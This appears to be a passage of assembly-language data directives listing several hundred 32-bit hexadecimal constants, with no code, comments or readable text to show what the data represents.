dd 5851FAFh, 0AE67CB01h, 4C5D5004h, 0E7227AEDh, 4484A214h
dd 713E964Eh, 37DCFC2Dh, 0A69BDA8Fh, 946238CCh, 0E91846ABh
dd 3257029Ah, 6D4F19B3h
dd 0EF22EE6Ch, 62840D7Eh, 0D54B59E8h, 0A1ADF0A9h, 37257B4Eh
dd 0C4B0D990h, 8C129FAAh, 98AAA7E1h, 80A2CE85h, 0DFD89B41h
dd 0B5B9F311h, 23A2EB5Eh, 0BB63BB98h, 17EE614Eh, 1472B0A9h
dd 7227407Ah, 1F9296F1h, 0E8A9A8ACh, 0B7022724h, 0E5AF7F4Dh
dd 0C99866F5h, 6F4DB6FEh, 787FB14h, 6C76F835h, 7B7F2C7Bh
dd 8AFD530Ah, 0E6259321h, 67946DA6h, 6093FF27h, 9676010Ah
dd 4C8CF3Ch, 0E7405DA3h, 0B4DB284Ch, 834F748Dh, 0C4529F6Ch
dd 0AD2946F2h, 4D736AEBh, 0C1D43AD6h, 0C80396AFh, 0BC898F7Ah
dd 4878CE7Eh, 3985DB24h, 9CCB5278h, 0ECC9A5BCh, 0EF59FF00h
dd 0CB612350h, 0A4C1392Fh, 0F086A0FFh, 26E0E9D5h, 0DD00A27Dh
dd 475107E6h, 0FD59EC21h, 0A404E6C9h, 5575B0BCh, 684E9B38h
dd 0EA66B07Bh, 750ED9C0h, 3AAB2086h, 0BEB123C3h, 913890CAh
dd 7CA82C72h, 222B57E3h, 9F352B31h, 0A8FF8833h, 0CA4CBB40h
dd 356310B1h, 547A6ADDh, 0A922A306h, 0BFDB1A9Bh, 7ACCFFA2h
dd 38EA98B8h, 969696EAh, 0D87CC287h, 0D73FBA11h, 625D8755h
dd 8FFB5DBAh, 0A7ACC0CAh, 98913324h, 0AAE6596Fh, 62851A50h
dd 0D2584ED3h, 0CA6AB8A9h, 1ED9E48h, 9AD61906h, 175A31D7h
dd 82E04AC8h, 5BBA2D9Eh, 0EE374E4Ch, 1F7F9859h, 0CB331486h
dd 1204DC48h, 0ADD9A297h, 0B70E078Ah, 3234C1D4h, 0C657F980h
dd 1B13D4ADh, 6DB972E8h, 4E21095Fh, 7BE96E36h, 64A2234Ah
dd 6286E704h, 0B3060C16h, 26034794h, 3ADF2C6Eh, 0B3114263h
dd 0C32B8108h, 0FA90EB51h, 0F8E1F613h, 0B79002EAh, 15AE8D0Eh
dd 0B7D08273h, 0FCF5DD9Bh, 80E640EBh, 0B0A94188h, 8D10B71Fh
dd 4BF83D66h, 2B0E4C7Ah, 0CBA6B4E2h, 0A14248BAh, 0D8B83C46h
dd 0D003D6B5h, 4576D2D7h, 0A978F36Fh, 0FAD38829h, 902B7FC5h
dd 0A49C531h, 690BB33Eh, 0A39E5CF3h, 0A438331Ch, 1DCF1E1h
dd 6D08E9A7h, 0E097F690h, 4066B6B5h, 0EA783E2Ah, 0B08DA57Ch
dd 83E7D4EEh, 0E82B8DCDh, 3F7825F5h, 0BA590773h, 21C421BCh
dd 0EF5840BEh, 7C270995h, 5F955484h, 0FE48C748h, 0F1BAD99Fh
dd 6433628Ch, 99A1C401h, 25E9CD0Fh, 46EE5B55h, 656E0D31h
dd 0FD76A635h, 2EB38C78h, 88F34F1Fh, 1C870C6Eh, 203F6600h
dd 229D905Ch, 0B7D4C05Dh, 0B95BA4E4h, 0A1AB82A8h, 39BB6751h
dd 1BFF13E1h, 0DA8DF51h, 576B3B63h, 133D9CB6h, 5E44108Bh
dd 8084F5FEh, 6328F498h, 8C9D9D00h, 0EBB87910h, 37DCA4D7h
dd 0FA3755Dh, 4C3C2603h, 1F8D499Eh, 395DEE1Dh, 0BCA3FEFFh
dd 532CD87Fh, 187338B7h, 28A24D3Eh, 0BFC3E0A4h, 8C67A1D3h
dd 0D5BDE1EAh, 0B56494C0h, 5869DAEAh, 960D6781h, 0AC03FB83h
dd 97D061A8h, 6C1E60DCh, 0FAD6169Bh, 53D1B4AEh, 8420EB80h
dd 0BB613FAFh, 0D96DAB55h, 473C7DCAh, 22008FE8h, 0B5D6ED40h
dd 0FAC46263h, 0FA314ACh, 0ABD1240Fh, 0C9BD7CBCh, 82AF2ECDh
dd 0DB389E7Ch, 65A8444Fh, 0F7E1C4CCh, 8EBDE0C4h, 50D689FFh
dd 177B08A0h, 5C2C6794h, 75B533CDh, 0B71FE54Bh, 0AECCCD59h
dd 0E4D3AF5h, 2170670Ah, 0B393A607h, 0F3569D47h, 38D86936h
dd 0E2467E4Dh, 0F8B40D87h, 0D38EBD17h, 6DEE0AE2h, 0F2635268h
dd 3459E2E4h, 0C5060E12h, 0E62CB6CBh, 0EB952B4h, 0F2F41BA7h
dd 0C22F0FF2h, 0B579B250h, 3635CF19h, 33251FEDh, 0B758E9E1h
dd 9222D2BDh, 0D9B5954Dh, 10E94E41h, 8FB29AE0h, 3A810774h
dd 54EC46CCh, 426DFB82h, 8638D09Bh, 65E2F9CBh, 1642EF0Dh
dd 0FB2FD9CAh, 50F6F90Dh, 4800FF14h, 5F9E5116h, 0E590CA23h
dd 0F53F9B8Ah, 8338A871h, 236B0516h, 0D31E4819h, 4C8C196Bh
dd 0AB9141BEh, 2B63CB12h, 3E0E5758h, 0B09A5EDBh, 4475A59Bh
dd 69C6900Eh, 0F70D221Fh, 0A313980Dh, 0D2B085DBh, 533A39ECh
dd 57C7BA33h, 0C6D3A831h, 34F9DC0Ch, 58C16D3Ch, 3D9F405Dh
dd 4687C054h, 75A01C7Ah, 0A22E7DA6h, 2D1BFC8Ah, 5B84FDAFh
dd 1E6EC602h, 0B2388D79h, 0F8C0F1A6h, 4EEE9DDBh, 0CC0809C6h
dd 43517B65h, 0B2F53F11h, 2882FC73h, 9BC3CAB5h, 3347A2CBh
dd 0DEE388DCh, 60419E4h, 81C10903h, 35C5A944h, 3A02CB6Fh
dd 0D7FCE80Dh, 5131324Ah, 0E7530EA6h, 80FA9A48h, 5DB4FA76h
dd 69E3B27Fh, 88945F83h, 0ACC5B14Fh, 79240C20h, 0CF4A1381h
dd 9C043173h, 338F6944h, 0D8B934ADh, 0D8D0EAC3h, 876AF8DFh
dd 0C4EDFEBFh, 7C4C2B2Bh, 0EEB68AB2h, 5BE1FE61h, 51600A2Dh
dd 86BEF0B4h, 9972272Bh, 0F39DB615h, 8B6EC55Eh, 2ECB0960h
dd 37DD8BF1h, 71D5093Fh, 0C810655Fh, 0EB4F0DBDh, 44FEC68Ch
dd 12EE4BCCh, 29F26F92h, 0EBC3324Eh, 0DBCF3A12h, 99DA6Fh
dd 0A33C9453h, 9043B22Eh, 0E1118450h, 9F6C2057h, 42801DA6h
dd 670FEC5h, 0FC2B96B4h, 0D4ABB18Ch, 0F5B76AE2h, 80227DD2h
dd 736B77B2h, 0E429852h, 6F72F7DCh, 739DC5C7h, 0E6D1B327h
dd 0ED697568h, 591FFBB6h, 0F5340BA8h, 3A95D1BDh, 97773B5Ah
dd 0BCD5EA3h, 81B59E9Dh, 0B556838Eh, 0B738C286h, 577B3B81h
dd 6C0FB727h, 16CB476Ah, 9400DCAEh, 973AF659h, 3DC5D4BBh
dd 0ACB93101h, 72FBEDA9h, 0BC92DD59h, 2A2354D8h, 0BE676A47h
dd 7A39F85Bh, 641DD7EEh, 8C087C2Ch, 184265BEh, 0C131CAB9h
dd 0EB56E2AFh, 6EC70B2h, 0FF29E054h, 0D4DED25Dh, 0A00D71C5h
dd 124A0B8Eh, 604C3C47h, 0EFC61EC6h, 0B35FB8EEh, 0CB93B865h
dd 0EA8CE04Bh, 92D529FEh, 93D0E517h, 6C68D65h, 4D9BB2D1h
dd 0CD525B0Ah, 1666D251h, 0DC173E38h, 0E2643EBCh, 9CB54AF6h
dd 0B70B157Ah, 0B6D2866Bh, 0EE692EABh, 23E58C7Eh, 89844F08h
dd 5221FC34h, 80CDEA7Ch, 0C2DF56B4h, 1B671B02h, 5B8DDA7Bh
dd 0C1ED27E3h, 176FD34Bh, 25ED988Fh, 0DE745382h, 0F7A6F09h
dd 67AB44Bh, 0ED058224h, 33108157h, 4B729457h, 84712A02h
dd 0CC2930E0h, 2CA358D6h, 31488EE1h, 0C0C338ABh, 90410C7Bh
dd 85AB40FEh, 892E465Eh, 84B513D8h, 5237B574h, 8D81C1CDh
dd 66A23332h, 112A2D0h, 1A3D8B8Fh, 533EDA11h, 0A47BDF65h
dd 2785AAC8h, 0B78E2A0Bh, 0EA5F2B9Dh, 0BC71682Ch, 3B797502h
dd 2CD4AD4Bh, 611ED394h, 9C97A903h, 641DAF9Ch, 0F171315h
dd 7121B53Eh, 71FFB9A5h, 0C4692F75h, 0FD348735h, 0F0BC9718h
dd 0D573A499h, 6F068767h, 33923748h, 0FFF6DF2h, 9CD12D2Eh
dd 93B15CFFh, 0D65EB674h, 0F52C9472h, 0F8920EA0h, 2AFD0D69h
dd 3CD2F86Eh, 0A6BF6929h, 5957644Ah, 5C310CFCh, 6DFAA4D5h
dd 0D6A3EEF5h, 0D7CEA4F2h, 357151C5h, 806D1E0Eh, 0EDEBE50Fh
dd 2B48558Eh, 0F5FEE2B4h, 0A35C24FCh, 1872DD0Fh, 0E7DCFB76h
dd 6A8636A1h, 3E063D07h, 44354A6Ch, 43A0A5A5h, 44D91CDCh
dd 71A617CEh, 653B2517h, 4C3FE6CFh, 59D59DC1h, 0ABD25B5Ah
dd 0E61F54A0h, 0C2F856Eh, 80DCA02Dh, 325F7640h, 0CFEA8BADh
dd 47ABE40Eh, 6B8ADF9Ch, 1AAA8513h, 0E805D8ABh, 860BE7FDh
dd 0EEAD800Ah, 0EF7F2A00h, 0AF8CB877h, 5D28B8DAh, 4FCFA4ECh
dd 519175B1h, 0C2091D6Dh, 3B1B0CF4h, 866D8357h, 1F90F4DFh
dd 5B81E253h, 3A69DD6h, 2D7E8D78h, 36301444h, 0F06FF186h
dd 0DF8C8FAAh, 1109A6C0h, 72762DBAh, 0C9B45C2Ch, 0EAC0D0DBh
dd 92E1C9B5h, 325E2296h, 0CF2AFAADh, 5FCCE1EEh, 84AF7FF1h
dd 4E30DD87h, 0F6CCAEA0h, 899182DFh, 0E2A8E03h, 0CA816EB1h
dd 27819FB1h, 0AF3082E2h, 17DA3357h, 0F7AE8EEDh, 0C76A1B53h
dd 0FE1C8740h, 0CAEAA9EAh
dd 0F8FDEFCDh, 1CE9E138h, 0CA529376h, 2E6A2C7Ch, 817A6ED0h
dd 15434B2Bh, 110AC214h, 0C8C91924h, 0FD5BB91Bh, 66D029AAh
dd 0ACDCFAF9h, 0A2D1C754h, 368D17EEh, 0F3283B90h, 6A1377E4h
dd 878E7968h, 0F1ECE288h, 0E1A8A346h, 0B8401B6Eh, 0B32621C6h
dd 0E1A465A7h, 7D531FD9h, 0ABA1F62Ah, 2ADFFC48h, 0FBCA2E11h
dd 0E5C63FDFh, 39B9B0E6h, 169B720Fh, 8AC8A8DDh, 0B1806321h
dd 38F0ED90h, 78537302h, 8FA4B9ABh, 0FD8C865Ch, 37199F0Bh
dd 0E0A7FAA9h, 0CFB0EB31h, 4DC785A8h, 0F5BA6079h, 9BDE2A8Fh
dd 0AF87C02Dh, 21C1D355h, 0CF9DDDF5h, 0F97C6BC3h, 6C9EA577h
dd 220B5AFEh, 9A97ABC5h, 9A34E68Ah, 9798B861h, 58BAEDCCh
dd 0B9A7487h, 0EDE860F2h, 5A36A7DCh, 23D81570h, 0DA17CBEFh
dd 0C2CA60F9h, 0D71B7460h, 4DC830B6h, 0E5F50AC1h, 543BF66Dh
dd 12CBE83Dh, 73B7E15Dh, 0A9BC1B56h, 391B5C62h, 6EFA6E52h
dd 0A76D6C75h, 1A6F1BC6h, 1571991Eh, 0ACE9CD96h, 303BD3E3h
dd 0CED37EE2h, 8804717Ah, 0BFBA385Fh, 20A11196h, 94A27F06h
dd 0B2B8E254h, 723A0669h, 0C801E42Bh, 7026B94Fh, 24085613h
dd 0A4E02FC1h, 73010325h, 0AADDC868h, 0E289D7BBh, 50E413ABh
dd 0EE152438h, 646D917Fh, 5DC6A5AFh, 0D70CC447h, 46069D2Fh
dd 9BB427EBh, 648E8DB0h, 0F84A8E23h, 79CFA703h, 10EEA111h
dd 2C44E38Dh, 83D70819h, 0D54A9FCBh, 3512EDE9h, 3268A3A1h
dd 55BCA15Fh, 0C810A905h, 90070FC1h, 0B36D935Bh, 3C4B5149h
dd 0CC6555DCh, 0DA6A4524h, 5940BFEBh, 0E3031A09h, 0F3CCE4A9h
dd 79074441h, 0B1D0F2Ch, 86DB4B86h, 0FDC65A98h, 0CE222AFFh
dd 89C85590h, 2D2DE4CCh, 75FEF338h, 8280C985h, 1D7EBD71h
dd 0AB1BE2BAh, 45DFC65h, 468259F0h, 0FDB55E5Dh, 95F245C2h
dd 62084C03h, 712CA222h, 93E194D3h, 5B3F66B8h, 0BA477910h
dd 0C5C43CF3h, 1CB03D9Dh, 0B0FD6875h, 0B0A0BDF3h, 0FB6D8FBCh
dd 736D37FBh, 9DD1520Dh, 9C90E3E2h, 9C1013Fh, 4F36C4A1h
dd 0D3BE3E62h, 35052DE3h, 0B087A80Fh, 0FDF7521Bh, 92B68FF4h
dd 0B7D7799Ch, 78E86F08h, 0F49BC45Bh, 0F9BB576Eh, 6A08D020h
dd 41D1BE09h, 99155923h, 0EF64247Bh, 12A14676h, 41899034h
dd 8782F5EEh, 0A1634CA1h, 1F55D776h, 923C279Ch, 8EA1EBDAh
dd 939E0301h, 8FC9BBB9h, 0C43816A8h, 0AF1040D3h, 0F81322FFh
dd 23472866h, 0E5B5BEB3h, 0C96F1A44h, 62B41459h, 0E1B1E004h
dd 0E2471D87h, 86960820h, 9B1373A4h, 4949AFFBh, 4B4770C2h
dd 929D2FE3h, 75FDDF2Dh, 88BA196Ch, 0BAD07723h, 0AA1F2B95h
dd 0C0D1CF36h, 80A69165h, 39E11FBEh, 7487D639h, 723A67Ah
dd 7763987Ch, 886919E8h, 268C6553h, 9BEF896Fh, 0B21D8262h
dd 4CBB3901h, 1D9A44D5h, 581D6637h, 6119BA28h, 0DED8582Fh
dd 0A75ACDB2h, 0C55B9BDCh, 94CC5BC1h, 38559A9Fh, 6D019D7Ah
dd 49285BD7h, 6730A1E2h, 0EB2250D2h, 6417884Eh, 3F4DBB2Ch
dd 76483F9Bh, 3AE9128Ch, 0F845F2C2h, 550495B9h, 1A44993Eh
dd 0DFC25FC7h, 0BA3F150Eh, 0D06AD10Eh, 0D3A75F16h, 59EA9BE2h
dd 0A005F9D2h, 0B5396E7Eh, 0AABC7BFh, 3ABD97BBh, 8AC3E118h
dd 2213427Ch, 759553ABh, 7B5BD631h, 0B4F12335h, 0F2428AB6h
dd 436364B7h, 0A6F6AD2Ch, 0D87FE847h, 7578EE0Bh, 0D3FBCA6Eh
dd 217D24E1h, 5AC6184Dh, 0CCEB6AA7h, 0B804C076h, 0D95190B7h
dd 449372A3h, 68A78EA1h, 21D5BCE7h, 5C38EB57h, 0C9CDEF4h
dd 0DF542D66h, 0CE15302Dh, 8E410D06h, 59BEDF06h, 6EC12A2Bh
dd 8F1B4840h, 0D4E5AB1Fh, 9A6A5A58h, 408A062Ch, 0DA164C89h
dd 0B36AE34Bh, 0B88F5A7Ah, 654DA8B5h, 0A9508FFh, 1444D03Bh
dd 0E8654EA7h, 5BE5574Fh, 0AA920F1Ah, 0C99780FFh, 1618942Bh
dd 0B44A1D0Eh, 673E9BEEh, 0C4B6E697h, 0C9BC7F17h, 0E48A9808h
dd 0BB037977h, 0F4407B48h, 8E415E87h, 5BFC31EBh, 67FB2FF0h
dd 0EBF3624Dh, 8BDD23C8h, 4F464E08h, 9445E9F3h, 0AF217CA6h
dd 0D7B02788h, 0DB655F9Dh, 3003F013h, 2F303666h, 9DF14953h
dd 0AAE6C3Ah, 4ECFBA83h, 8AB5E0BBh, 8C79AD38h, 6E93E5F1h
dd 2219EA65h, 47607B96h, 4D55385Ah, 1658BB3h, 3B8DA07Eh
dd 0E3FAFA4Eh, 0D9F01A3Fh, 0F77B7865h, 1265016Fh, 5ABA7A65h
dd 50024B57h, 0E1B7103Ch, 0B34E56B9h, 0F0F582CCh, 36120976h
dd 47BED4D9h, 3B43436Bh, 8DE8D67Ah, 0DBD011CDh, 0C54E83E4h
dd 0E9AC889Bh, 76CE6EC1h, 9369FC73h, 89056F2Ah, 80B9C214h
dd 0EFEA79Ah, 95E32F16h, 0FB63C7F6h, 6F5E1232h, 733A77EDh
dd 6860C5FAh, 0D190ECD6h, 0F625705Bh, 4956D692h, 0BEEDBDBDh
dd 0C6A2385Dh, 3FEB3878h, 849B49EDh, 45382F31h, 19E0F0E5h
dd 2F902FE4h, 662EEEEEh, 80740542h, 6B43432Fh, 9FEFA94Ch
dd 8C3FF60h, 0F71E1BCCh, 9C4ABEFFh, 892D3CDBh, 8386D140h
dd 0F9291A4Bh, 0A48D0D93h, 312EFA19h, 0B06BE83Ah, 0D57D52Fh
dd 0A07215DBh, 88DE8550h, 0AAC54E74h, 7B29D250h, 4FC61E11h
dd 23FA59D3h, 0F707AC14h, 5702260Ah, 0FCDBB3F6h, 0F9835DDBh
dd 0D4C84200h, 0B6A1BC76h, 0A680A147h, 32C6E7B1h, 9C09E4A4h
dd 7EFF3200h, 33789286h, 1972EE7Dh, 3D187402h, 2C7545Eh
dd 0DB6BE227h, 91B03A1Ch, 0DCDA31B4h, 1AEA5B4Bh, 7D25D02Fh
dd 15535B19h, 493275C5h, 9D155A1Bh, 0B93DFEC2h, 61253BB7h
dd 13A4E98Ah, 0BF03E572h, 2EB3B3D9h, 3DF53225h, 81A0CAh
dd 0AB224DFCh, 7832CD26h, 40925EA4h, 0FF6F4042h, 5E01CA9Eh
dd 1BCF240Eh, 856B7CC2h, 10D7F243h, 3F580804h, 0C6326E70h
dd 699E2955h, 185B2267h, 741E3E61h, 2BF34C97h, 0FF221617h
dd 71218EA9h, 0DE4E3BCAh, 0C328B89Fh, 239B773Bh, 8ADB4DCEh
dd 0EE5C5B74h, 0FD27BBF0h, 0A879B91Bh, 0F670703Ch, 599BF8D0h
dd 8259AD89h, 536A347h, 54C7D614h, 0E9F37533h, 90B887ADh
dd 4A442F3Dh, 794E3AC6h, 0E49BAC49h, 53BB621Ah, 0FE9F003Eh
dd 961F916Ch, 0A2764372h, 4AB259E7h, 6D782E20h, 387A7853h
dd 45719980h, 657BC3B5h, 91876DC4h, 0DA006458h, 1A40807Ch
dd 0CFD3D5E0h, 13BC1F57h, 0D358CB47h, 0E7007B3Dh, 8D42271Ah
dd 2887B224h, 0EC53F269h, 72FA139h, 45E1793Ah, 0AF34C337h
dd 434B5D76h, 1C46FB96h, 3E2F6EDBh, 8AF09DA9h, 89839420h
dd 0A415DAF7h, 0A6DBA8DEh, 0FFBAE7D1h, 25DFCC0h, 0A60A13BEh
dd 878CF579h, 0C112CB83h, 4B9F62BBh, 170BB76Ah, 98B5862Bh
dd 0C5FD671Ah, 0B95331BFh, 7273E9C0h, 0D18A138Dh, 0EA2728Ah
dd 204C182Dh, 0CE8B6612h, 503DB359h, 0CA1F2D52h, 7219CBF6h
dd 101C6D6Dh, 26540E5Fh, 0CD9FC29h, 5CAEB137h, 0FDE911E0h
dd 7D7742C9h, 7787E10Eh, 7238DDB8h, 46A78AA2h, 8D13E02Bh
dd 42742B1Dh, 8CBF1ACFh, 0DC3853ABh, 0E3D94A7Dh, 98E53952h
dd 88D84772h, 0C824A6D6h, 842AB279h, 0C0C023ECh, 0E2A2717Ah
dd 0F00543BAh, 0D4CD2337h, 0C3E99EC3h, 0D60AAE1Bh, 409ADA34h
dd 0C4056690h, 0D51E7AEAh, 0D9839030h, 0D408D144h, 9C3243A8h
dd 26499396h, 1AC8D852h, 0DF719267h, 3BBA7AB2h, 97D07132h
dd 657A952Bh, 6B93FBF2h, 0E3F5B74Ch, 0A9BE5F63h, 99ED8D12h
dd 9C85DA4Eh, 0AC8B562Dh, 6A02AE87h, 90009BCh, 0BBF8624Bh
dd 23BC948h, 291309FBh, 677389FBh, 8B03812Dh, 20B35717h
dd 6E136E21h, 8E07AF8Ch, 8B258729h, 2A311420h, 0F342A072h
dd 1818CF10h, 791EBEDDh
dd 0C1012782h, 303EF754h, 3A39D205h, 449D2680h, 0B3818Ch
dd 93A2241h, 0BAA51559h, 0A795B99Ch, 0FBBCED62h, 0F211F091h
dd 306329F9h, 0A4D051F7h, 277922E4h, 0CDF4F0Dh, 77F45CDEh
dd 0C3F80714h, 493AE42Eh, 7FAE9AE9h, 0DEE5196h, 22AF6A1Dh
dd 93DB26AFh, 0CC0B814Ah, 1DF55BE2h, 55F10B4Dh, 0AC48D481h
dd 0CA31E3D6h, 6E7610E0h, 0B40282D1h, 0A03AD7A5h, 88036A7Dh
dd 57472E10h, 0EB99B42Bh, 0EBA87B3Bh, 1E33A5Eh, 7F5D8CD0h
dd 0AAD8719Fh, 76754E38h, 1A267153h, 7D3C1B36h, 0EFE6332Dh
dd 2D03194Ah, 83240012h, 0BD194B9Bh, 548A01BFh, 93CD746Ch
dd 0F7065CF3h, 6E782EA5h, 0E20D6433h, 0B400392Bh, 0AFBFD17Dh
dd 0EEBFA191h, 0A6BDD7BCh, 0BE6301DCh, 8CA3B80Eh, 0BDF1D8C4h
dd 18112A28h, 0D7F48499h, 0A5C3923Ch, 0CFDF6F41h, 4D100250h
dd 0F67C7303h, 5AD9A725h, 0BCDE66A8h, 8509330Bh, 4D79A51Ah
dd 0DE74F7E9h, 6B5E6B6Dh, 243C5752h, 894EA19Ch, 0CCA4B36Bh
dd 72E23FEh, 44BC73C0h, 4C1F0862h, 34139572h, 0B1685027h
dd 481D548Ch, 41F782B1h, 7F2EFBEAh, 264A2C01h, 8BC34D36h
dd 0B8C3EC33h, 5D4E1146h, 2E297A4Ah, 9173B9C0h, 3E74FE91h
dd 779BCDE1h, 47017208h, 51DADF9Fh, 25AC689h, 3783F545h
dd 9BF57135h, 99D7A28Ah, 75B0FAFBh, 0FD563592h, 39B4453Eh
dd 9C9379B9h, 9B120450h, 9D367E6Fh, 0C90C591Bh, 0B66FBDF1h
dd 0CDA9A512h, 9CBAC7CDh, 0D28B72AAh, 666BD77Eh, 751E60EDh
dd 1E1180E0h, 811F99FDh, 804B555h, 3D17062Dh, 0CE28F894h
dd 3BC9DFFh, 0A2249E25h, 0AB9C8819h, 32F30FBDh, 8C7D1ABAh
dd 7A31A74Ch, 73086866h, 71C7FF18h, 4071535Eh, 8FAFD37Fh
dd 0C9B98286h, 0F51E5DE2h, 0FCB1FD13h, 0D1D52804h, 9B1AEA35h
dd 0BC9CC152h, 41E199A6h, 0AA53B6E5h, 0E605A68Dh, 328F517Eh
dd 653F6C29h, 23A35672h, 0A1ED792Eh, 0F97A9375h, 8373F3D1h
dd 42C628B6h, 0B028F860h, 2485B387h, 83EF2B64h, 2D144613h
dd 0FC36B88Ah, 4B5C5834h, 220106E2h, 1C3409DDh, 5D311A0Fh
dd 499A1187h, 0A4272459h, 12C110DBh, 0C77E5D62h, 0EA6E09D6h
dd 0E3B1EC85h, 0EC97DB12h, 0F03157B7h, 0CD920349h, 8348C9B8h
dd 1C8BF280h, 0DEE853C2h, 62824487h, 0A3366064h, 0A271A87h
dd 54EE5931h, 913D583Fh, 0FE3F8107h, 0BBAF0949h, 3EFFB631h
dd 1391C78h, 0EE686513h, 76491B7Eh, 4CEAC43h, 0C6547FACh
dd 0B3573E28h, 9E546801h, 70135481h, 2EE76E95h, 75814E2Ah
dd 4F2CBBC6h, 4D0CAB37h, 22984B9Ch, 796B2A0Bh, 0B30B67FBh
dd 19EEE5A0h, 419519EBh, 3210ED8Eh, 8B2B9BF3h, 0A72C58C3h
dd 0FBF84781h, 80AA9726h, 0B5F79132h, 39CF9025h, 0CB5C9ADDh
dd 1B5051B2h, 6E90120Ah, 55197DEDh, 2CB0B67Ah, 5298FD99h
dd 0F55E956Fh, 0A58ECDD8h, 0F00E97DAh, 0C15EE51Dh, 0AAA8ADC1h
dd 90743AC1h, 4E072686h, 3953BB86h, 99D60F75h, 2CDB568h
dd 228707BDh, 264722BEh, 7AB20AECh, 0C132493h, 0D75059Fh
dd 0B4EA1D6Ah, 7B9F1410h, 5D907574h, 991BCC25h, 0BD1318A6h
dd 0C850B4Ah, 81ACDEA1h, 52C89879h, 0A42F7806h, 0B05E9CDFh
dd 7D5F0024h, 45317039h, 610EE38Eh, 1C5E686Ah, 5A7277D7h
dd 0A95A148Bh, 79F2D7C8h, 0F0799921h, 47939F61h, 0BA7CB1E2h
dd 5177F734h, 0F799B25Fh, 260A11F2h, 0C096D225h, 0A8B1FDCh
dd 2475E8CAh, 1AA2EAh, 5E44A401h, 784956ADh, 27D15426h
dd 51F4381h, 3A0B9AA6h, 5052AC47h, 0D83FA3ABh, 9182241Eh
dd 459A42E9h, 0D6EA80B3h, 36217818h, 2614FF14h, 0A2DBE8EAh
dd 0E6F189h, 8E9ACA0h, 410F795Eh, 0AC9F114Dh, 21C67700h
dd 0A89ACF23h, 2852277Eh, 3FE1772Bh, 0A627F655h, 0FDDA0663h
dd 33247EDh, 57CEBC6Dh, 0F0038958h, 0C3126E3Bh, 888D087Eh
dd 0F5C3BDE3h, 0C58BA435h, 0C260C6BFh, 47CA7183h, 0F7594D1Bh
dd 0FCFA518h, 13BF8593h, 0BC8F6FBEh, 0ED247BE7h, 0D8D445A7h
dd 65553F35h, 7881A995h, 0FAB41B5Eh, 84FF3551h, 0E814D50Dh
dd 0F5A7016Eh, 2125BDC2h, 1596D8F9h, 3CA075B8h, 0B1F7E0A8h
dd 4A0409D5h, 56D540ADh, 1FC1A31Eh, 0ACE4188Ah, 0C0EF81CBh
dd 0D967B454h, 4B95622Ch, 939524C9h, 7A9450D0h, 0DD5CD242h
dd 25D74E4Ch, 70FA3F42h, 32CD529h, 1062622Eh, 0FDDECB8Fh
dd 71BE97FAh, 0B0164492h, 0BF1090DCh, 0A5642F6Fh, 5385451Bh
dd 0C79DC9F8h, 27350CE2h, 0BAE3F23Dh, 7B3BF14h, 3B93333Fh
dd 6F3E2BFCh, 8A23EED9h, 9EF45311h, 90EC899Eh, 0E527F3F9h
dd 0D52760FFh, 1BC0D159h, 1BA09033h, 9C6F57A7h, 3F669BC2h
dd 0ECEF357Fh, 9617E931h, 0EB711C47h, 3EFCB64Fh, 0E21E7429h
dd 8A131980h, 0F1F0D251h, 0E35CE34Ch, 0A2EBBA7h, 8698C680h
dd 0EE04DF57h, 4BA42A4Ah, 13356430h, 841B3619h, 7C63D1D1h
dd 456839AAh, 0F823DA61h, 0E24C599Ah, 0E855952Eh, 8298256Eh
dd 0DAB6C761h, 3FDB4DBAh, 0A758E4F4h, 7A371FA2h, 0B194C0E2h
dd 0B6A37BECh, 5BC3AC64h, 0AAA19039h, 77099ADAh, 63AEA6A0h
dd 8B9E960h, 73917D2Bh, 0B042680h, 2A151004h, 2AC224E3h
dd 0A9624B87h, 97DB4D35h, 0CA6473CEh, 0D21D5D85h, 0CDF82B54h
dd 3A815A13h, 83A18808h, 0E64077B0h, 0ADE971E0h, 25C1F27Eh
dd 3F408AD7h, 657781ECh, 0DE234F1Ah, 0F5972328h, 0D4DF6BC6h
dd 7D025C8Bh, 8718C844h, 0F8074AEBh, 0CE21962Eh, 45B515DCh
dd 3ED15D53h, 3622BD02h, 0D42D9F40h, 3EA10841h, 30CE9320h
dd 23886BB4h, 5E54AB5h, 0CA901815h, 0B68919A7h, 0F75C1737h
dd 94229E22h, 976082Bh, 0E3DF3043h, 0A007AF35h, 4D755B1Ch
dd 0E3EC4A4Fh, 0EFCC1D37h, 5FDF01F8h, 67E01F86h, 98B28E2Eh
dd 6DC06649h, 0A6F54FFBh, 6285ABBFh, 113F3715h, 0AE1C3EEEh
dd 0C0FEC34Eh, 73782297h, 0BEB47276h, 76F62FDAh, 0C3E25290h
dd 97175C5Bh, 0AD802583h, 596C959h, 35AF8D88h, 0C4AA68DDh
dd 51771583h, 0C0BD10BFh, 0C0F79EF4h, 41BC5489h, 4682D08Eh
dd 0E976F5D9h, 43427134h, 4B388C80h, 2B7675BDh, 0B07E72Eh
dd 297B80A1h, 0B933CB1Fh, 553D1DA8h, 2C9213F1h, 49B7927Ch
dd 9643EFECh, 8EE9FAA3h, 924DBB10h, 69C53B8Fh, 0FDD0BB06h
dd 8110AF30h, 6E4E5AC1h, 0D19DA738h, 1D6BA86Dh, 0F2412445h
dd 0D16A01A9h, 4B70C6E0h, 71F8BDCCh, 0C79FA9AFh, 0F9D154Ah
dd 0F7541D36h, 293AC505h, 26F4C7E5h, 626A3CF0h, 0CED87BE3h
dd 0B8DC5ECDh, 87E5302Eh, 5C843F24h, 43FDDCE4h, 0F01A79Bh
dd 0DBE342BBh, 686A745Ah, 58A1E31Fh, 0C343C6F6h, 0EC834733h
dd 9473363Eh, 286494AAh, 2C632FA3h, 88246991h, 0F5515576h
dd 0B83E04D2h, 249654EAh, 63B48E84h, 666C9FE6h, 0DB9E0B6Fh
dd 5BE3EFADh, 61A1F716h, 742BBAFh, 48841CD5h, 0DCB80575h
dd 8972B021h, 65B0E518h, 0CC3EC37Ch, 0F6349AAh, 277D3C56h
dd 0FF2FBF76h, 59FDA036h, 84C89580h, 0D24CAAEBh, 0BFD71615h
dd 941F721Dh, 6CDAE4AAh, 6919D259h, 0A8C94695h, 0A7FB1D24h
dd 980B9229h, 4A06CB1h, 32FB816Fh, 39FA799Fh, 858E77C9h
dd 90473460h, 60CA35BBh, 4C89374Eh, 1BEDA392h, 0E0D58A18h
dd 0E8FE4AE4h, 0C1798D75h, 7EC1708Dh, 7733A956h, 0BCC40154h
dd 2EA82741h, 0C3BAA743h, 649B2A1Ch, 17992BA8h, 0F8CBCB68h
dd 574882CFh, 0A0E1986Ah, 12D4A167h, 0E9E257DEh, 0A9D51E4Eh
